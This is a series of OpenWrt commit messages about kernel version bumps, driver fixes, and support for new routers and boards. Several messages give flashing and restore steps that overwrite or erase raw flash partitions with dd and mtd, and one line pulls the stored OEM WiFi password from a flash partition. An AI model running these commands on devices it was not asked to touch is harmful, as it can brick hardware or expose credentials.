Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Yousong Zhou <yszhou4tech@gmail.com>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This target was switched to kernel 4.19 more than 6 months ago in commit
f342ffd300 ("treewide: kernel: bump some targets to 4.19") and now
with kernel 5.4 support being added it gets harder to support kernel
4.14 in addition to kernel 4.19 and 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Yousong Zhou <yszhou4tech@gmail.com>
Currently kmod-ata-* will not get into images unless kmod-ata-core is added to
DEVICE_PACKAGES as well. By changing the dependencies from "depends on" to
"select", we do not have the issue anymore.
Furthermore, we can remove most occurrences of the package from DEVICE_PACKAGES
and similar variables, as it is now pulled by dependent modules such as:
- kmod-ata-ahci
- kmod-ata-ahci-mtk
- kmod-ata-sunxi
While at it, use AddDepends/ata for kmod-ata-pdc202xx-old.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
All SUNXI_UBOOT usages were removed in e018c4d7ab ("uboot-sunxi: clean up,
switch to u-boot.mk"). Now drop the variable completely.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
DTS variable is not used in any device. Just drop it.
UBIFS_OPTS is not device-dependent here. Remove it from DEVICE_VARS.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
IMAGE_SIZE is widely used in many targets. Declare it in the default template to
clean up redundant code. This also prevents deriving IMAGE_SIZE unintentionally
from the previously defined device.
While at it, remove duplicate KERNEL_SIZE declaration.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The labels on the LAN ports of the TP-Link Archer C60 v1/v2 are
actually inverted compared to the ports of the internal switch.
Add this information to 02_network.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The labels on the LAN ports of the TP-Link Archer C60 v1/v2 are
actually inverted compared to the ports of the internal switch.
Add this information to 02_network.
This is the same for to-be-supported v3 of this device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The adjustment of the MAC address for Archer C60 v2 in 10_fix_wifi_mac
is broken since a "mac" partition is not set up for this device on
ar71xx. Instead, the MAC address is already patched correctly in
11-ath10k-caldata.
Remove the useless adjustment.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The MAC addresses for lan/wan are swapped compared to the vendor
firmware. This adjusts to vendor configuration, which is:
lan *:7b label
wan *:7c label+1
2.4g *:7b label
5g *:7a label-1
Only one address is stored in <&mac 0x8>, corresponding to the label.
This has been checked on revisions v1, v2 and v3.
Since ar71xx calculates the ath10k MAC address based on the ethernet
addresses, the number there is adjusted, too.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The MAC addresses for lan/wan are swapped compared to the vendor
firmware. This adjusts to vendor configuration, which is:
lan *:7b label
wan *:7c label+1
2.4g *:7b label
5g *:7a label-1
Only one address is stored in <&mac 0x8>, corresponding to the label.
This has been checked on revisions v1, v2 and v3.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fixes following error uncovered while building armvirt/64 on 5.4:
Package kmod-hwmon-sch5627 is missing dependencies for the following libraries:
watchdog.ko
That dependency was introduced in upstream via 2d8c7ff52c24
("hwmon/sch56xx: Depend on watchdog for watchdog core functions") in
v3.5.
The issue emerged in 5.4 because the kconfig symbol CONFIG_WATCHDOG_CORE
is now a tristate value. Previously it was a bool.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Hardware
--------
SoC: MediaTek MT7621AT
WiFi: MediaTek MT7603 bgn 2T2R
MediaTek MT7615 ac 4T4R
Flash: 32M SPI (Macronix MX25L25635F)
RAM: 128M DDR3 (Winbond W631GG6KB)
LED: Dome (Blue / White)
BTN: Reset
Installation
------------
These instructions were written for firmware version v3.9.27.
Downgrade if necessary.
1. Copy the OpenWrt sysupgrade image to the devices /tmp folder
via scp. On factory defaults, user and password is "ubnt" at
192.168.1.20/24.
2. Write the bootselect flag. Otherwise, the device might boot from the
wrong partition. Verify the mtd partition used in the command below
is the one labled "bs" in /proc/mtd (as this might change in the
future).
> dd if=/dev/zero bs=1 count=1 of=/dev/mtd4
3. Write the OpenWrt sysupgrade to the mtd partitions labled
"kernel0" and "kernel1".
> dd if=/tmp/openwrt-sysupgrade.bin of=/dev/mtdblock6
> dd if=/tmp/openwrt-sysupgrade.bin of=/dev/mtdblock7
4. Reboot or powercycle the device.
Signed-off-by: David Bauer <mail@david-bauer.net>
When sharing a common build directory between different build platforms
eg. macos v docker based linux v virtual machine, a 'make dirclean'
isn't quite enough to clean all the platform related binaries. The
'conf' and 'mconf' aka 'make menuconfig/defconfig & friends' utilities
remain.
Clean those as part of 'dirclean' so they get rebuilt for the current
platform on the next 'make'
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Ethernet, switch, LEDs, buttons, USB, sysupgrade & LuCI were
successfully tested on BCM4706.
WARNING: Hack for BCM4710 adding BCM4710_PROTECTED_FILL_TLB() to the
local_r4k_flush_cache_sigtramp() could not be ported. That function has
been dropped in:
commit adcc81f148d7 ("MIPS: math-emu: Write-protect delay slot emulation pages")
commit 3315b6b336c8 ("MIPS: Delete unused flush_cache_sigtramp()")
it's unsure if that chipset will still work reliably.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Bump to latest release candidate and drop 2 local patches that have been
upstreamed.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Generate a cpximg that is compatible with the cpximg loader in Compex' u-boot.
The cpximg loader can be started either by holding the reset button during power
up or by entering the u-boot prompt and entering 'cpximg'.
Once it's running, a TFTP-server under 192.168.1.1 will accept an image
appropriate for the board revision that is etched on the board (e.g. 6A04).
The image can be pushed using tftp:
tftp -v -m binary 192.168.1.1 -c put openwrt-ipq40xx-generic-compex_wpj428-squashfs-cpximg-6a04.bin
cpximg files can also be used with the sysupgrade utility in stock images.
(add SSH key in luci for root access)
In mkmylofw_32m, the calculation of the "partition size" has been preferred
to just padding the partition as this will result in less block transfers
during flashing (while the additional complexity is bearable).
Signed-off-by: Leon M. George <leon@georgemail.eu>
Co-developed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fixes following error uncovered while building malta/be on 5.4:
Package kmod-hwmon-sch5627 is missing dependencies for the following libraries:
watchdog.ko
That dependency was introduced in upstream via 2d8c7ff52c24
("hwmon/sch56xx: Depend on watchdog for watchdog core functions") in
v3.5.
The issue emerged in 5.4 because the kconfig symbol CONFIG_WATCHDOG_CORE
is now a tristate value. Previously it was a bool
Cc: Yousong Zhou <yszhou4tech@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
(drop the config-4.19 change. reword about the cause)
Hardware
--------
SoC: MediaTek MT7620A
RAM: 64MB
FLASH: 8MB SPI
WLAN: 2G: MediaTek MT7620A
5G: MediaTek MT7610EN
ETH: 1x 10/100/1000M (Atheros AR8035)
LED: RSSI (orange/green)
WiFi 2G (green)
WiFi 5G (green)
Power (green)
System (red / green)
BTN: Power
Reset
LED
WPS
Serial
------
P1 - Tx
P2 - Rx
P3 - GND
P4 - VCC
Pin 4 is the one closest to the LAN port.
MAC overview
------------
WAN *:4c uboot 0x1fc00
2.4 *:4c uboot 0x1fc00
5 *:4e uboot 0x1fc00 +2
Installation
------------
Web interface:
It is possible to upgrade to OpenWrt via the web interface. However, the
OEM firmware upgrade file is required and a tool to fix the MD5 sum of
the header. This procedure overwrites U-Boot and there is not failsafe /
recovery mode present! To prepare an image, you need to take the header
and U-Boot (i.e. 0x200 + 0x20000 bytes) from an OEM firmware file and
attach the factory image to it. Then fix the header MD5Sum1.
Serial/TFTP:
You can use initramfs for booting via RAM or flash the image directly.
Additional Notes:
If the web interface upgrade fails, you have to open your device and
attach serial console. Since the web upgrade overwrites the boot loader,
you might also brick your device.
In order to flash back to stock, the first header and U-Boot needs to be
stripped from the original firmware.
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[change rssi LED labels]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This was available since kernel 5.4. The one provided in packages feed
will be considered deprecated and renamed to kmod-fs-exfat0.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
(use name kmod-fs-exfat. use "@!(LINUX_4_4||LINUX_4_19)" for dependency)
This patch adds support for the 8devices Habanero development board.
Specs are:
CPU: QCA IPQ4019
RAM: DDR3L 512MB
Storage: 32MB SPI-NOR and optional Parallel SLC NAND(Some boards ship with it and some without)
WLAN1: 2.4 GHz built into IPQ4019 (802.11n) 2x2
WLAN2: 5 GHz built into IPO4019 (802.11ac Wawe-2) 2x2
Ethernet: 5x Gbit LAN (QCA 8075)
USB: 1x USB 2.0 and 1x USB 3.0 (Both built into IPQ4019)
MicroSD slot (Uses SD controller built into IPQ4019)
SDIO3.0/EMMC slot (Uses the same SD controller)
Mini PCI-E Gen 2.0 slot (Built into IPQ4019)
5x LEDs (4 GPIO controllable)
2x Pushbutton (1 is connected to GPIO, other to SoC reset)
LCD ZIF socket (Uses the LCD controller built into IPQ4019 which has no driver support)
1x UART 115200 rate on J18
2x breakout development headers
12V DC Jack for power
DIP switch for bootstrap configuration
Installation instructions:
Since boards ship with vendors fork of OpenWrt sysupgrade can be used.
Signed-off-by: Robert Marko <robimarko@gmail.com>
This commit finally adds support for the built in SD/MMC controller in IPQ4019 SoC.
Controller is supported by the upstream SDHCI-MSM driver with a minor clock setting patch.
Patch is special to the IPQ4019 and cannot be upstreamed.
LDO and SDHCI node are upstreamed, and LDO node is awaiting to be accepted.
Signed-off-by: Robert Marko <robimarko@gmail.com>
Also update the U-Boot BSP patch for I2SE Duckbill devices.
Run tested on I2SE Duckbill and Olimex OLinuXino Maxi boards.
Signed-off-by: Michael Heimpold <mhei@heimpold.de>
Add missing kernel config symbol probably some dependency uncovered by
my local perf related and enabled kernel config options.
ARM PMU framework (ARM_PMU) [Y/n/?] y
Freescale i.MX8 DDR perf monitor (FSL_IMX8_DDR_PMU) [N/m/y/?] (NEW)
Signed-off-by: Petr Štetiar <ynezz@true.cz>
I've added `set_blkcnt` environment variable which is needed for every
`mmc write` command as we need to always specify size in block count.
That `set_blkcnt` variable was previously present in the U-Boot's
default environment, but that needed patching U-Boot every time, so that
patch was dropped with 2020.01 version bump.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
U-Boot 2020.01 has changed names for same variables, adjust the
bootscript accordingly. Added boot_file variable as the default value is
zImage.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Update U-Boot to latest release, remove `100-wandboard-enable-fit.patch`
as FIT support was added in commit 5b8585825128 ("wandboard: Add FIT
image support").
Rework `110-mx6cuboxi-mmc-fallback.patch` into two patches as there was
new config option `CONFIG_SPL_FORCE_MMC_BOOT` added upstream which
should provide the same functionality as the previous patch hunk.
Moving Apalis towards generic distro_bootcmd.
Cc: Vladimir Vid <vladimir.vid@sartura.hr>
Cc: Tim Harvey <tharvey@gateworks.com>
Cc: Koen Vandeputte <koen.vandeputte@ncentric.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Removes one of the duplicate `gpio-keys` words found in the logs:
gpio-keys gpio-keys: gpio-keysdoes not support key code:143
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Adds into 4.19 backported kernel module from 5.1 for Sensirion SPS30
particulate matter sensor, for kernel 5.4 backported dependency fix.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Otherwise we would need to enable IIO_TRIGGERED_BUFFER symbol in all
kernels in order to be able to use any of the IIO modules which are
utilizing triggered buffer based data acquisition method.
Acked-by: Stijn Tintel <stijn@linux-ipv6.be>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This reverts commit 15a0701cdd.
It was reported that this patch breaks on some cases the JFFS2 overlay
filesystem on targets still using kernel 4.14. This includes ar71xx,
where spurious erase of the ART was reported.
Revert this commit for now. Re-adding should probaby also be done for
every currently supported kernel version.
Ref: FS#2837 FS#2862 FS#2864
Signed-off-by: David Bauer <mail@david-bauer.net>
This applies the common indent (one tab) for the wrapped lines of
domywifi_dw33d and glinet_gl-ar750s-nor-nand.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
On platforms that do not have CONFIG_MTD enabled, loading the
rt2x00lib kernel module fails because it depends on symbols from
the mtd module ("Unknown symbol get_mtd_device_nm").
This commit disables the code that can read the eeprom from mtd if
mtd is not enabled.
Signed-off-by: Sven Over <sp@cedenti.st>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
patches-4.14/340-oxnas-pcie.patch was adapted for kernel 5.4 by
accident. Revert that change to restore 4.14 builds.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Sitecom WLR-8100 v1 002 (marketed as X8 AC1750) is a dual band wireless
router.
Specification:
- Qualcomm Atheros SoC QCA9558
- 128 MB of RAM (DDR2)
- 16 MB of FLASH (Macronix MX25L12845EMI-10G - SPI NOR)
- 5x 10/100/1000 Mbps Ethernet
- 3T3R 2.4 GHz (QCA9558 WMAC)
- 3T3R 5.8 Ghz (QCA9880-BR4A)
- 1x USB 3.0 (Etron EJ168A)
- 1x USB 2.0
- 9x LEDs
- 2x GPIO buttons
Everything working.
Installation and restore procedure tested
Installation
1. Connect to one of LAN (yellow) ethernet ports,
2. Open router configuration interface,
3. Go to Toolbox > Firmware,
4. Browse for OpenWrt factory image with dlf extension and hit Apply,
5. Wait few minutes, after the Power LED will stop blinking, the router
is ready for configuration.
Restore OEM FW (Linux only)
1. Download OEM FW from website (tested with WLR-8100v1002-firmware-v27.dlf)
2. Compile the FW for this router and locate the "mksenaofw" tool
in build_dir/host/firmware-utils/bin/ inside the OpenWrt buildroot
3. Execute "mksenaofw -d WLR-8100v1002-firmware-v27.dlf -o WLR-8100v1002-firmware-v27.dlf.out" where:
WLR-8100v1002-firmware-v27.dlf is the path to the input file
(use the downloaded file)
WLR-8100v1002-firmware-v27.dlf.out is the path to the output file
(you can use the filename you want)
4. Flash the new WLR-8100v1002-firmware-v27.dlf.out file. WARNING: Do not keep settings.
Additional notes.
The original firmware has the following button configuration:
- Press for 2s the 2.4GHz button: WPS for 2.4GHz
- Press for 2s the 5GHz button: WPS for 5GHz
- Press for 15s both 2.4GHz and 5GHz buttons: Reset
I am not able to replicate this behaviour, so I used the following configuration:
- Press the 2.4GHz button: RFKILL (disable/enable every wireless interfaces)
- Press the 5GHz button: Reset
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
This patch support Devolo Magic 2 WIFI, board devolo_dlan2-2400-ac.
This device is a plc wifi AC2400 router/extender with 2 Ethernet
ports, has a G.hn PLC and uses LCMP protocol from Home Grid Forum.
Hardware:
SoC: AR9344
CPU: 560 MHz
Flash: 16 MiB (W25Q128JVSIQ)
RAM: 128 MiB DDR2
Ethernet: 2xLAN 10/100/1000
PLC: 88LX5152 (MaxLinear G.hn)
PLC Flash: W25Q32JVSSIQ
PLC Uplink: 1Gbps MIMO
PLC Link: RGMII 1Gbps (WAN)
WiFi: Atheros AR9340 2.4GHz 802.11bgn
Atheros AR9882-BR4A 5GHz 802.11ac
Switch: QCA8337, Port0:CPU, Port2:PLC, Port3:LAN1, Port4:LAN2
Button: 3x Buttons (Reset, wifi and plc)
LED: 3x Leds (wifi, plc white, plc red)
GPIO Switch: 11-PLC Pairing (Active Low)
13-PLC Enable
21-WLAN power
MACs Details verified with the stock firmware:
Radio1: 2.4 GHz &wmac *:4c Art location: 0x1002
Radio0: 5.0 GHz &pcie *:4d Art location: 0x5006
Ethernet ðernet *:4e = 2.4 GHz + 2
PLC uplink --- *:4f = 2.4 GHz + 3
Label MAC address is from PLC uplink
OEM SSID: echo devolo-$(grep SerialNumber /dev/mtd1 | grep -o ...$)
OEM WiFi password: grep DlanSecurityID /dev/mtd1|tr -d -|cut -d'=' -f 2
Recommendations: Configure and link your PLC with OEM firmware
BEFORE you flash the device. PLC configuration/link should
remain in different memory and should work straight forward
after flashing.
Restrictions: PLC link detection to trigger plc red led is not
available. PLC G.hn chip is not compatible with open-plc-tools,
it uses LCMP protocol with AES-128 and requires different
software.
Notes: Pairing should be possible with gpio switch. Default
configuration will trigger wifi led with 2.4Ghz wifi traffic
and plc white led with wan traffic.
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.0.100
2. Download the sysupgrade image and rename it to uploadfile
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Allow 1-2 minutes for the first boot.
Signed-off-by: Manuel Giganto <mgigantoregistros@gmail.com>
This commit ports the device from ar71xx to the ath79 target and
modifies the partition layout.
1. Firmware is installed to nand flash.
2. Modify the uboot-env parameter to boot from the nand flash.
3. The kernel size is extended to 5M.
4.nor flash retains the oem firmware.
oem partition layout
dev: size erasesize name
mtd0: 00040000 00010000 "u-boot"
mtd1: 00010000 00010000 "u-boot-env"
mtd2: 00e30000 00010000 "rootfs"
mtd3: 00170000 00010000 "kernel"
mtd4: 00010000 00010000 "art"
mtd5: 00f90000 00010000 "firmware"
mtd6: 06000000 00020000 "rootfs_data"
mtd7: 02000000 00020000 "backup"
new partition layout
dev: size erasesize name
mtd0: 00040000 00010000 "u-boot"
mtd1: 00010000 00010000 "u-boot-env"
mtd2: 00fa0000 00010000 "oem-firmware"
mtd3: 00010000 00010000 "art"
mtd4: 00500000 00020000 "kernel"
mtd5: 05b00000 00020000 "ubi"
mtd6: 02000000 00020000 "oem-backup"
MAC address overview:
All mac addresses are stored in the art partition.
eth0: 0x0
eth1: 0x6
ath9k: 0xc
ath10k: 0x12
No valid addresses in 0x1002 and 0x5006. All addresses match the OEM
firmware.
Install from oem firmware.
Enable ssh service:
Connect to the router web, click professional, click system-startup,
and add dropbear in the local startup input box. Click
system-administration, delete ssh-key, and replace your ssh pub key.
Restart the router.
1.Upload openwrt firmware to the device
scp openwrt-snapshot-r11365-df60a0852c-ath79-nand-domywifi_dw33d-\
squashfs-factory.bin root@192.168.10.1:/tmp
2.modify uboot-env.
ssh login to the device:
fw_setenv bootcmd 'nboot 0x8050000 0;bootm || bootm 0x9fe80000'
Run the fw_printenv command to check if the settings are correct.
3.Write openwrt firmware.
ssh login to the device:
mtd -r write /tmp/openwrt-snapshot-r11365-df60a0852c-ath79-nand-\
domywifi_dw33d-squashfs-factory.bin /dev/mtd6
The device will restart automatically and the openwrt firmware
installation is complete.
Restore oem firmware.just erase the kernel partition and the ubi
partition.
ssh login to the device:
mtd erase /dev/mtd4
mtd -r erase /dev/mtd5
Reboot the device
Signed-off-by: WeiDong Jia <jwdsccd@gmail.com>
[alter flash instruction in commit message]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Add 5.4 kernel version as a new testing kernel option.
Run-tested on Shuttle KD20, seems to work just as well as kernel 4.14.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Bump to dnsmasq 2.81rc2. In the process discovered several compiler
warnings one with a logical error.
2 relevant patches sent upstream, added as 2 local patches for OpenWrt
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Patch 0061-tty-serial-ar933x-uart-rs485-gpio.patch wasn't included
when adding support for kernel 5.4. Re-add it and refresh patches.
Fixes: 53ab9865c2 ("ath79: add support for kernel 5.4")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Read times drop when increasing frequency to 25 MHz and 50 MHz,
but not in between or for further increase. So, use 50 MHz as the
lowest frequency with the fastest speed.
Test results (thanks to Roger):
The device reports a mx25l6405d flash chip. I tried all the maximum
values in the devices' datasheet (Table 10. AC CHARACTERISTICS). All of
them worked with and without "m25p,fast-read":
> 10 MHz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 1m 33.00s
user 0m 0.01s
sys 1m 7.56s
> 25 MHz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 34.42s
user 0m 0.02s
sys 0m 23.58s
> 25 MHz, fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 34.45s
user 0m 0.02s
sys 0m 23.59s
> 33 MHz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 34.39s
user 0m 0.00s
sys 0m 23.60s
> 33 MHz, fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 34.46s
user 0m 0.01s
sys 0m 23.62s
> 50 MHz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 26.81s
user 0m 0.01s
sys 0m 18.25s
> 50 MHz, fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 26.84s
user 0m 0.00s
sys 0m 18.25s
> 66 MHz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 26.80s
user 0m 0.01s
sys 0m 18.23s
> 66 MHz, fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 26.80s
user 0m 0.02s
sys 0m 18.23s
> 86 MHz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 26.84s
user 0m 0.01s
sys 0m 18.24s
> 86 MHz, fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 0m 26.80s
user 0m 0.02s
sys 0m 18.23s
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
This patch addresses several issues for D-Link DIR-810L:
- add correct button codes
- harmonize button node names
- use generic flash@0
- remove unused pin groups from state_default
- improve sorting of properties
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
The Jffs2 partition for the D-Link DIR-810L is currently off by
0x10000. Apply the correct offset based on the other partitions'
size/offset and the information about stock OS from the Wiki.
This is just based on the named information and _not_ verified
on device.
Fixes: 36e3424fa5 ("ramips: add support for dir810l and asus rp-n53")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
This fixes a typo in the device string for MAC address setup in
02_network and corrects the indent in the device's DTS files.
While at it, move the aliases section before the keys section to
have it closer to the top of the file.
Fixes: a736d912e2 ("ipq40xx: add support for EnGenius EAP2200")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for the Netgear R6800, aka Netgear AC1900 and
R6800-100PES.
Specification:
- SoC: MediaTek MT7621AT (880 MHz)
- Flash: 128 MiB NAND
- RAM: 256 MiB
- Wireless: MediaTek MT7615EN b/g/n , MediaTek MT7615EN an+ac
- LAN speed: 10/100/1000
- LAN ports: 4
- WAN speed: 10/100/1000
- WAN ports: 1
- USB 2.0
- USB 3.0
- Serial baud rate of Bootloader and factory firmware: 57600
Known issues:
- Device has 3 wifi LEDs: Wifi 5Ghz, Wifi 2.4Ghz and Wifi on/off.
Wifi on/off is not used.
Installation:
- apply factory image via stock web-gui.
Back to stock:
- nmrpflash can be used to recover to the stock Netgear firmware.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
1st release candidate for v2.81 after 18 months.
Refresh patches & remove all upstreamed leaving:
110-ipset-remove-old-kernel-support.patch
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Since now we support both kernel 4.19 and 5.2, change the
condition to remove driver when on kernel 4.14
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Due to changes in syscon driver, the phy dwc3 driver
needs to use device_node_to_regmap since it has to skip
the new introduced clk check. This fix broken usb3 on this
target.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
As mdio0 is used in every dts move it to general ipq8064
dts and use label to set device specific definition.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Currently the watchdog timer is broken as it tries to
get an interrupt to setup pretimeout. Since our platform
have a different type of interrupt disable it and use
legacy watchdog probe.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
This was created by Chunkeey some time ago. Since mdio driver
works or doesn't work and since this was tested by me for 1 year,
include it to remove the use of the generic bitbang gpio driver for
switch driver.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Rework tsens driver.
Since in the new kernel 5.4 init common do more than it
should, inizialize the kernel memory directly in the driver and
drop use of this function. Rework all the patch with the new
variable names.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Rework l2 scaling patch to fix some compile warning
and to imporve the caling timings by removing call to unnecessary
function.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Since this dtsi now have wrong definition in the upstream version,
include it to overwrite and remove any problem.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
5.4 support is ready and tested.
Compile tested: all target devices
Run tested: pogoplug v4, nsa310b and two unofficial supported devices
Tested-by: Sungbo Eo <mans0n@gorani.run>
Tested-by: Alberto Bursi <alberto.bursi@outlook.it> [pogoplug v4 and nsa310b]
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[fixed the switch, removed maintainer variable]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Changes made in switch nodes in d42c9ce commit causes problem with
correct mvsw61xx detection. This commit undo that changes.
mvsw61xx is platform driver, so it need to be in main root of dts.
Fixes: d42c9ce326 ("kirkwood: add kernel 4.19 support")
Tested-by: Marcin Fedan <mfedan@gmail.com> [EA4500]
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
This commit is simple copy config, files and patches from 4.19 to 5.4
kernel. No changes was done.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Leave as enabled by default for mediatek. Also remove obsolete
settings from when packet steering was moved from netifd to a
simplified hotplug script.
Signed-off-by: Alan Swanson <reiver@improbability.net>
The current implementation is significantly lowering lantiq
performace [1][2] by using RPS with non-irq CPUs and XPS
with alternating CPUs.
The previous netifd implementation (by default but could be
configured) simply used all CPUs and this patch essentially
reverts to this behaviour.
The only document suggesting using non-interrupt CPUs is Red
Hat [3] where if the network interrupt rate is extremely high
excluding the CPU that handles network interrupts *may* also
improve performance.
The original packet steering patches [4] advise that optimal
settings for the CPU mask seems to depend on architectures
and cache hierarcy so one size does not fit all. It also
advises that the overhead in processing for a lightly loaded
server can cause performance degradation.
Ideally, proper IRQ balancing is a better option with
the irqbalance daemon or manually.
The kernel does not enable packet steering by default, so
also disable in OpenWRT by default. (Though mvebu with its
hardware scheduling issues [5] might want to enable packet
steering by default.)
Change undocumented "default_ps" parameter to clearer
"packet_steering" parameter. The old parameter was only ever
set in target/linux/mediatek/base-files/etc/uci-defaults/99-net-ps
and matched the default.
[1] https://forum.openwrt.org/t/18-06-4-speed-fix-for-bt-homehub-5a
[2] https://openwrt.ebilan.co.uk/viewtopic.php?f=7&t=1105
[3] https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/performance_tuning_guide/network-rps
[4] https://marc.info/?l=linux-netdev&m=125792239522685&w=2
